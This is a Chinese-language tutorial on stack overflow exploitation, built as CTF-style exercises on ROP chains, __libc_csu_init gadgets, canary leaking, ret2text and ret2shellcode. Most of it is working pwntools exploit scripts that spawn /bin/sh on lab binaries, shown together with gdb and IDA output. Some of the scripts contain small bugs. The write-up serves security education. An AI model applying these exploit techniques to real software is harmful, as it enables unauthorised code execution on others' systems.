二進制安全之棧溢出(中)
棧劫持
整形溢出
實驗
調(diào)試
程序一 :rop鏈 & _libc_csu_init
ROP
IDA靜態(tài)分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
?vulnerable_function(*(_QWORD *)&argc, argv, envp);
?return write(1, "Hello, World!\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
?char buf; // [rsp+0h] [rbp-80h] 說明buf到rbp有0x80字節(jié)。即buf[0x80]
?write(1, "Input:\n", 7uLL);
?return read(0, &buf, 0x200uLL); //從標(biāo)準(zhǔn)控制臺向buf讀入0x200
}
攻擊腳本
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug=True
else:
debug=False
if debug:
p = process("./level3_x64")
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debugf():
gdb.attach(p,"b *0x400602")
#debugf()
padding = 0x80 * "a"
padding_rbp = "junkjunk"
write_plt = elf.plt["write"]
write_got = elf.got["write"] ? ?
# target : write(1,write_got,8)
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
p.sendafter("Input:\n",payload)
addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = addr - libc.symbols["write"]
binsh = libc.search("/bin/sh").next()
system = libc.symbols["system"]
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter("Input:\n",payload)
p.interactive()
思路
泄露system在libc中的地址
通過write函數(shù)泄露system的地址
先通過plt中的wrtite jump到got中的write函數(shù)的地址,然后通過offset計算libc的基址,然后泄露system的地址
可以將第一個return的內(nèi)容覆蓋為plt["write"]的地址
即write(1,write_got,8) 調(diào)用write_got,打印8個字節(jié)到屏幕上
尋找rop鏈 rdi_pop_rsi_pop_rdx_ret,保存write函數(shù)的參數(shù)與返回地址
64位程序的參數(shù)壓棧順序rdi,rsi,rdx,rcx,r8,r9
? ?level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
由于在rop鏈中沒有發(fā)現(xiàn)rdx,暫時不去使用rdx,因為rdx中本來就可能含有大于8的數(shù),因此對我們而言傳參與否意義不大,只是成功率的問題,直接返回到main_addr即可
.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A ? ? ? ? ? ? ? ? public main
.text:000000000040061A main ? ? ? ? ? ?proc near ? ? ? ? ? ? ? ; DATA XREF: _start+1D↑o
libc_csu_init
解決rop鏈中無rdx的思路
a. 調(diào)用libc_csu_init
b. libc_csu_init有rdx
c. 在libc_csu_init循環(huán)構(gòu)造payload
libc_csu_init的內(nèi)存布局
.text:0000000000400650 __libc_csu_init proc near ? ? ? ? ? ? ? ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 ? ? ? ? ? ? ? ? mov ? ? rdx, r13 // 4. 將r13給到了rdx
.text:0000000000400693 ? ? ? ? ? ? ? ? mov ? ? rsi, r14 // 5. 控制rsi
.text:0000000000400696 ? ? ? ? ? ? ? ? mov ? ? edi, r15d // 6. 控制rdi的低四位,注意這里不能存放下6字節(jié)的/bin/sh
.text:0000000000400699 ? ? ? ? ? ? ? ? call ? ?qword ptr [r12+rbx*8] ;7. 給rbx賦0,相當(dāng)于call [r12],
; 將system的地址寫入其中bss中,將bss_addr寫入其中
.text:000000000040069D ? ? ? ? ? ? ? ? add ? ? rbx, 1
.text:00000000004006A1 ? ? ? ? ? ? ? ? cmp ? ? rbx, rbp ?//9. 使rbp=1,跳過jnz
.text:00000000004006A4 ? ? ? ? ? ? ? ? jnz ? ? short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 ? ? ? ? ? ? ? ? add ? ? rsp, 8
.text:00000000004006AA ? ? ? ? ? ? ? ? pop ? ? rbx //1. 控制函數(shù)從這里執(zhí)行
.text:00000000004006AB ? ? ? ? ? ? ? ? pop ? ? rbp
.text:00000000004006AC ? ? ? ? ? ? ? ? pop ? ? r12 //8. 給r12添一個main_addr
.text:00000000004006AE ? ? ? ? ? ? ? ? pop ? ? r13 //2. 通過??刂苧13
.text:00000000004006B0 ? ? ? ? ? ? ? ? pop ? ? r14
.text:00000000004006B2 ? ? ? ? ? ? ? ? pop ? ? r15
.text:00000000004006B4 ? ? ? ? ? ? ? ? retn //3. ret到main_addr
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//實現(xiàn)通過棧控制rdx
空閑的bss段
.bss:0000000000600A89 ? ? ? ? ? ? ? ? db ? ?? ; 向其中寫入system的地址,call [r12] ,將r12改為0x600A89
.bss:0000000000600A8A ? ? ? ? ? ? ? ? db ? ?? ;
.bss:0000000000600A8B ? ? ? ? ? ? ? ? db ? ?? ;
坑點
call qword ptr [r12+rbx*8] ;寄存器間接尋址,需要把system的地址寫入bss
mov edi, r15d ;只能存放4個字節(jié),存放不了/bin/sh
_libc_csu_init攻擊腳本實現(xiàn)
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug=True
else:
debug=False
if debug:
p = process("./level3_x64")
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def lib_csu_init(ret_address,call,p1,p2,p3):
pop_ret7 = 0x4006AA
libc_csu_init_addr = 0x400690
payload = 0x80*'a' + p64(0) # padding_ebp
payload+= p64(pop_ret7)
payload+= p64(0) + p64(1) + p64(call) #rbx rbp r12
payload+= p64(p3) + p64(p2) + p64(p1) ? #r13 r14 r15
payload+= p64(libc_csu_init_addr) #ret
payload+= p64(0)*7 #clear rsp rbx rbp r12 ?r13 r14 r15
payload+= p64(ret_address)
p.sendafter("Input:\n",payload)
def debugf():
gdb.attach(p,"b *0x400602")
#debugf()
write_plt = elf.plt["write"]
write_got = elf.got["write"] ? ?
read_got = elf.got["read"] ?
main_addr = 0x40061A
bss_addr = 0x600A89
lib_csu_init(main_addr,write_got,1,write_got,0x8)
write_addr = u64(p.recv(8))
log.success("write_addr:" + hex(write_addr))
libc.address = write_addr - libc.symbols["write"]
log.success("libc.address:" + hex(libc.address))
lib_csu_init(main_addr,read_got,0,bss_addr,16) # 16 is the param of read
# read system to bss_addr and write "/bin/sh to bss_addr+8"
#binsh = libc.search("/bin/sh").next() not need anymore
system = libc.symbols["system"]
p.send(p64(system)+"/bin/sh\x00")
#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store
lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)
p.interactive()
調(diào)試
設(shè)置斷點到* 0x4006AA

第一次循環(huán)結(jié)束后


返回到main

打印libc的地址

查看bss_addr的內(nèi)容
程序二 :canary
IDA靜態(tài)分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
?init();
?puts("Hello Hacker!");
?vuln();
?return 0;
}
unsigned int vuln()
{
?signed int i; // [esp+4h] [ebp-74h]
?char buf; // [esp+8h] [ebp-70h]
?unsigned int v3; // [esp+6Ch] [ebp-Ch]
?v3 = __readgsdword(0x14u); //從fs:28h讀取canary到棧
?for ( i = 0; i <= 1; ++i )
?{
? ?read(0, &buf, 0x200u); ?//溢出點
? ?printf(&buf); //如果沒有printf,可以通過_dl_runtime_resolv泄露canary
?}
?return __readgsdword(0x14u) ^ v3; //異或棧中的canary與內(nèi)核中的md5
}
利用方法
在ebp – 0x0c的地址覆蓋為canary值
泄露canary的值
攻擊腳本
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC # 到達(dá)canary的偏移地址
payload = (offset)*"a" + "b" # 覆蓋掉canary的最后的"\0"字節(jié),這時就可以打印出canary了
p.send(payload)
p.recvuntil("ab") ?#在canary之前截斷,在沒有printf,可以通過_dl_runtime_resolv泄露canary
canary = u32(p.recv(3).rjust(4,"\x00")) #接收三字節(jié)的canary,并用0將第四個字節(jié)補齊
log.success("canary:"+hex(canary)) ?
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell) # 最終payload
p.send(payload2)
p.interactive()
程序三 :canary(不需繞過)
IDA靜態(tài)分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
?int v3; // eax
?unsigned int v5; // [esp+18h] [ebp-90h]
?unsigned int v6; // [esp+1Ch] [ebp-8Ch]
?int v7; // [esp+20h] [ebp-88h]
?unsigned int j; // [esp+24h] [ebp-84h]
?int v9; // [esp+28h] [ebp-80h]
?unsigned int i; // [esp+2Ch] [ebp-7Ch]
?unsigned int k; // [esp+30h] [ebp-78h]
?unsigned int l; // [esp+34h] [ebp-74h]
?char v13[100]; // [esp+38h] [ebp-70h]
?unsigned int v14; // [esp+9Ch] [ebp-Ch]
?v14 = __readgsdword(0x14u);
?setvbuf(stdin, 0, 2, 0);
?setvbuf(stdout, 0, 2, 0);
?v9 = 0;
?puts("***********************************************************");
?puts("* ? ? ? ? ? ? ? ? ? ? ?An easy calc ? ? ? ? ? ? ? ? ? ? ? *");
?puts("*Give me your numbers and I will return to you an average *");
?puts("*(0 <= x < 256) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? *");
?puts("***********************************************************");
?puts("How many numbers you have:");
?__isoc99_scanf("%d", &v5);
?puts("Give me your numbers");
?for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
?{
? ?__isoc99_scanf("%d", &v7);
? ?v13[i] = v7;
?}
?for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
?{
? ?while ( 1 )
? ?{
? ? ?while ( 1 )
? ? ?{
? ? ? ?while ( 1 )
? ? ? ?{
? ? ? ? ?puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
? ? ? ? ?__isoc99_scanf("%d", &v6);
? ? ? ? ?if ( v6 != 2 )
? ? ? ? ? ?break;
? ? ? ? ?puts("Give me your number");
? ? ? ? ?__isoc99_scanf("%d", &v7);
? ? ? ? ?if ( j <= 0x63 )
? ? ? ? ?{
? ? ? ? ? ?v3 = j++;
? ? ? ? ? ?v13[v3] = v7;
? ? ? ? ?}
? ? ? ?}
? ? ? ?if ( v6 > 2 )
? ? ? ? ?break;
? ? ? ?if ( v6 != 1 )
? ? ? ? ?return 0;
? ? ? ?puts("id\t\tnumber");
? ? ? ?for ( k = 0; k < j; ++k )
? ? ? ? ?printf("%d\t\t%d\n", k, v13[k]);
? ? ?}
? ? ?if ( v6 != 3 )
? ? ? ?break;
? ? ?puts("which number to change:");
? ? ?__isoc99_scanf("%d", &v5); //v5是序號,無大小限制,造成漏洞點
? ? ?puts("new number:");
? ? ?__isoc99_scanf("%d", &v7); ?
? ? ?v13[v5] = v7;
? ?}
? ?if ( v6 != 4 )
? ? ?break;
? ?v9 = 0;
? ?for ( l = 0; l < j; ++l )
? ? ?v9 += v13[l];
?}
?return 0;
}
利用原理
v5無大小限制,形成漏洞點
可以看到 char v13[100]; // [esp+38h] [ebp-70h],當(dāng)v5 = 28的時候,28*4=102=0×70,第29個字節(jié)就是EBP,第30個字節(jié)就是ret。
控制輸入v7的內(nèi)容和長度,實現(xiàn)ret的精準(zhǔn)覆蓋。
因此這道題不需要繞過canary。
程序四 :ret2text
IDA靜態(tài)分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
?char s; // [esp+1Ch] [ebp-64h] padding=0x64+0x8
?setvbuf(stdout, 0, 2, 0);
?setvbuf(_bss_start, 0, 1, 0);
?puts("There is something amazing here, do you know anything?");
?gets(&s); //溢出點
?printf("Maybe I will tell you next time !");
?return 0;
}
void secure() //函數(shù)模板庫,CTRL+E查看
{
?unsigned int v0; // eax
?int input; // [esp+18h] [ebp-10h]
?int secretcode; // [esp+1Ch] [ebp-Ch]
?v0 = time(0);
?srand(v0);
?secretcode = rand();
?__isoc99_scanf((const char *)&unk_8048760, &input);
?if ( input == secretcode )
? ?system("/bin/sh"); //wonderful,理想的返回地址
}
利用原理
找到溢出點:gets(&s)
判斷填充長度 : s到ebp的大小加4字節(jié)ebp,即 0×64 – 0x1c + 0×4
判斷ebp和esp尋址的小技巧:在IDA的變量s處雙擊,能進入到反匯編窗口即esp尋址
gdb調(diào)試
checksec
Arch: ? ? i386-32-little
? ?RELRO: ? ?Partial RELRO
? ?Stack: ? ?No canary found
? ?NX: ? ? ? NX enabled
? ?PIE: ? ? ?No PIE (0x8048000)
// 可以看到?jīng)]有開啟ALSR和PIE,這時我們下斷點的時候不用考慮地址隨機化
設(shè)置斷點到s
.text:080486AB mov [esp], eax ; s
在IDA中靜態(tài)查看s的地址,取其偏移地址080486AB
在gdb中 b *0x080486AB 即可
計算填充長度
EAX ?0xffffce8c —? 0x8048329 ?— 0x696c5f5f /* '__libc_start_main' */
EBX ?0x0
ECX ?0xffffffff
EDX ?0xf7fb8870 (_IO_stdfile_1_lock) ?— 0x0
EDI ?0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1b1db0
ESI ?0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1b1db0
EBP ?0xffffcef8 ?— 0x0
ESP ?0xffffce70 —? 0x804876c ?— 0x72656854 /* 'There is something amazing here, do you know anything?'
/*
EDX接收s
填充長度為EBP-EAX = 0x6c
*/
覆寫返回地址到system("/bin/sh");
a. 使用IDA查看bin/sh的地址
.text:0804863A ? ? ? ? ? ? ? ? mov ? ? dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 ? ? ? ? ? ? ? ? call ? ?_system
攻擊腳本
from pwn import *
context.log_level = "debug" ? # context預(yù)設(shè)環(huán)境
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"] ?# tmux ? 垂直分屏
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./ret2text") ? # process表示當(dāng)前程序的發(fā)送和接收(交互)
elf = ELF("./ret2text") ? # ELF載入當(dāng)前程序的ELF,以獲取符號表,代碼段,段地址,plt,got信息
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') # 載入libc的庫,可以通過vmmap查看
else:
p = remote("x.x.x.x",1088)
elf = ELF("./ret2text") ?
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
gdb.attach(p,"b *0x80486AB")
debugf()
padding = (0x64+8)*a
ebp_padding = "aaaa"
system_addr = 0x0804863A
payload = padding + ebp_padding + p32(system_addr)
p.sendlineafter("do you know anything?\n",payload) #需要加"\n",因為puts在程序最后加"\n"
p.interactive() # 接收shell
程序五 :ret2shellcode
IDA靜態(tài)分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
?char s; // [esp+1Ch] [ebp-64h]
?setvbuf(stdout, 0, 2, 0);
?setvbuf(stdin, 0, 1, 0);
?puts("No system for you this time !!!");
?gets(&s);
?strncpy(buf2, &s, 0x64u);
?printf("bye bye ~");
?return 0;
}
設(shè)置斷點
.text:08048590 ? ? ? ? ? ? ? ? mov ? ? [esp], eax ? ? ?; s 設(shè)置到斷點gets之前
.text:08048593 ? ? ? ? ? ? ? ? call ? ?_gets
溢出地址
.bss:0804A080 buf2 ? ? ? ? ? ?db 64h dup(?) ? ? ? ? ? ; DATA XREF: main+7B↑o
攻擊腳本
#!/usr/bin/env python
from pwn import *
context.arch ="i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv < 2):
debug = True
else:
debug = False
if debug:
p = process('./ret2shellcode')
elf = ELF('./ret2shellcode')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
p = remote('xx.xx.xx.xx',1111)
elf = ELF('./ret2shellcode')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
gdb.attach(p,"b *08048590")
debugf()
#padding = 0x64+8
#padding_ebp = 0x4
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6c,"a") + "junk"
buf2_addr = 0x804a080
payload += p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()
流程
64字節(jié)shelllcode覆蓋s
填充8字節(jié)到達(dá)main函數(shù)的ebp
“junk”覆蓋掉rbp的內(nèi)容
將return的內(nèi)容覆蓋為buf2的地址字節(jié)流:p32(buf2_addr)
注意點
buf2位于bss段,如果程序開啟了pie,是不能通過ida讀取的。
ljust函數(shù)用于補充指定大小的字節(jié)
asm(shellcraft.sh())用于自動生成shellcode
手寫shellcode
shellcode = asm(
"mov ebp,esp"
"push ebp"
"mov eax,08808188a" ;向0x08808188a傳入一個bin/sh
"mov [esp],eax"
"call system"
)
調(diào)試
finish到main函數(shù)
buf的內(nèi)存布局
EAX ?0x804a080 (buf2) ?— 0x2f68686a
0x80485af <main+130> ? ?call ? strncpy@plt <0x8048420>
00:0000│ esp ?0xff906df0 —? 0x804a080 (buf2) ?— 0x2f68686a
x/20gz 0x804a080
0x804a080 <buf2>: ? ? ? 0x68732f2f2f68686a ? ? ?0x0168e3896e69622f
0x804a090 <buf2+16>: ? ?0x6972243481010101 ? ? ?0x59046a51c9310101
返回地址
0x80485c6 <main+153> ? ?ret ? ? ? <0x804a080; buf2> ==>可以看到將main返回地址覆蓋成了buf2的地址
shellcode
00:0000│ esp ?0xff906e74 ?— '/bin///sh'
01:0004│ ? ? ?0xff906e70 ?— 0x6873 /* 'sh' */
0x804a0aa <buf2+42> ? ?int ? ?0x80 ?==> 此時中斷退出